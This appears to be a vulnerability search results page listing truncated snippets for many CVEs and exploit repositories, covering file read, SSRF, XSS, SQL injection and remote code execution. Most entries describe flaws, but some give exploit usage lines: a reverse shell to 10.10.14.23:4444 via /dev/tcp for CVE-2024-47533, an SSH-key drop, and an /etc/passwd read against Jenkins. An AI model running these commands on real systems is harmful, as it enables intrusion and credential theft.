3061 matches found
EUVD-2026-82974
NUUO Network Video Recorder 2.0.0 is vulnerable to arbitrary file read. In up.php, the url parameter submitted by the user via POST is received, and fopen is used to open the URL in binary read-only mode. The content is then written to the /tmp/ directory, with the filename derived from basename ...
CVE-2022-22947
Added two types of reverse shell and network egress detection based on Wang Zheng's code. If any module is missing at runtime, just use pip to download that module. Enter the suspicious URL address. Note: Do not include '/' after the port. 1. First check if the vulnerability exists By default, th...
CVE-2024-27564
CVE-2024-27564 Description: A vulnerability in pictureproxy.php allows remote attackers to perform arbitrary requests by injecting URLs into the url parameter. This SSRF vulnerability can be exploited without authentication, making it particularly dangerous. The vulnerable code is in the...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR This is for legal penetration testing purposes only. Do not engage in any illegal activities. How to use python3 exploit.py Demo Video...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Vulnerability Overview CVE-2025-30208, CVE-2025-31125 and CVE-2025-31486 are arbitrary file reading vulnerabilities in the Vite development server. These vulnerabilities allow an attacker to bypass access controls through specific URL parameters...
CVE-2022-35499
In Trimble TM4WEB =22.2.0 the external bill viewer endpoint is vulnerable to reflected cross-site scripting via injection in a arbitrary parameter appended to the URL. Step 1 : The following example URL will trigger the vulnerability and execute the javascript alert function displaying the number...
CVE-2021-3131
CVE-2021-3131 Suggested description The Web server in 1C:Enterprise 8 before 8.3.17.1851 sends base64 encoded credentials in the 'creds' URL parameter. VulnerabilityType Other CWE-522 Insufficiently Protected Credentials Vendor of Product 1C Company Affected Product Code Base 1C:Enterprise 8 -...
CVE-2021-22941
Use python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Reference https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
CVE-2023-51214
Suggested description Cross Site Scripting vulnerability in Implementing an Activity Log in Your Web App Using PHP v.1 allows a remote attacker to execute arbitrary code via a crafted payload to the URL. Vulnerability Type Cross Site Scripting XSS Vendor of Product sourcecodester.com Affected...
CVE-2026-87767 WP Shortcut Link <= 1.2.0 - Unauthenticated SQL Injection via url
The wp shortcut link and advertisement baner WordPress plugin through 1.2.0 does not sanitize and escape a parameter before using it in a SQL query on an AJAX action available to unauthenticated users, allowing unauthenticated attackers to perform SQL injection attacks and extract sensitive data...
SSRF-Exploit-CVE-2024-27564
SSRF-Exploit-CVE-2024-27564 Project Title This project demonstrates a Server-Side Request Forgery SSRF vulnerability in the pictureproxy.php file. Description A vulnerability in pictureproxy.php allows remote attackers to perform arbitrary requests by injecting URLs into the url parameter. This...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
compaXSS
CompaXSS Bypass XSS Reflected Cross-site scripting ======= root@kitploit: Example: python compaxss.py --url https://support.snapchat.com/login?next=-run Developers Jose Pino - @jofpin Juan Eljach - @juaneljach...
CVE-2026-88623
NUUO Network Video Recorder 2.0.0 is vulnerable to arbitrary file read via the up.php script. The user-supplied url parameter, submitted via POST, is passed directly to fopen() in binary read-only mode without sufficient validation. The fetched content is then written to the /tmp/ directory using...
cve-2025-4664
CVE-2025-4664 This repository contains a PoC for exploiting CVE-2025-4664, a vulnerability where Chromium-based browsers leak sensitive URL parameters through Link header preload requests. Resources For a detailed explanation of how this exploit works, read the blog post:...
CVE-2025-69600
CVE-2025-69600 author: Rafael José Núñez Gulías company: Iberian Var Group Affected products: RayVentory Scan Engine 12.6 Update 8 and previous versions Raynet advisory: RSEC200966 Command injection in Raynet's rvia allows adversaries to execute commands via getconfig, upload, inventory, and orac...
Jenkins-CVE-2024-23897-
Use the command:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwdWrite the URL into 2.txt to enable batch processing...
CVE-2024-50961
Sensitive Data Exposure CVE-2024-50961 Description In DonWeb Ferozo Hosting v1.1, a remote attacker can exploit URL parameters to access sensitive data, including database credentials. Attack vectors include network sniffing, server logs, and browser history, potentially exposing organizations to...
CVE-2023-50596
CVE-2023-50596 Suggested description Cross Site Scripting vulnerability in Simple Image Stack Website using PHP and API v.1.00000 allows a remote attacker to execute arbitrary code via a crafted payload to the URL. Additional Information Lets paste our payload in the URL section...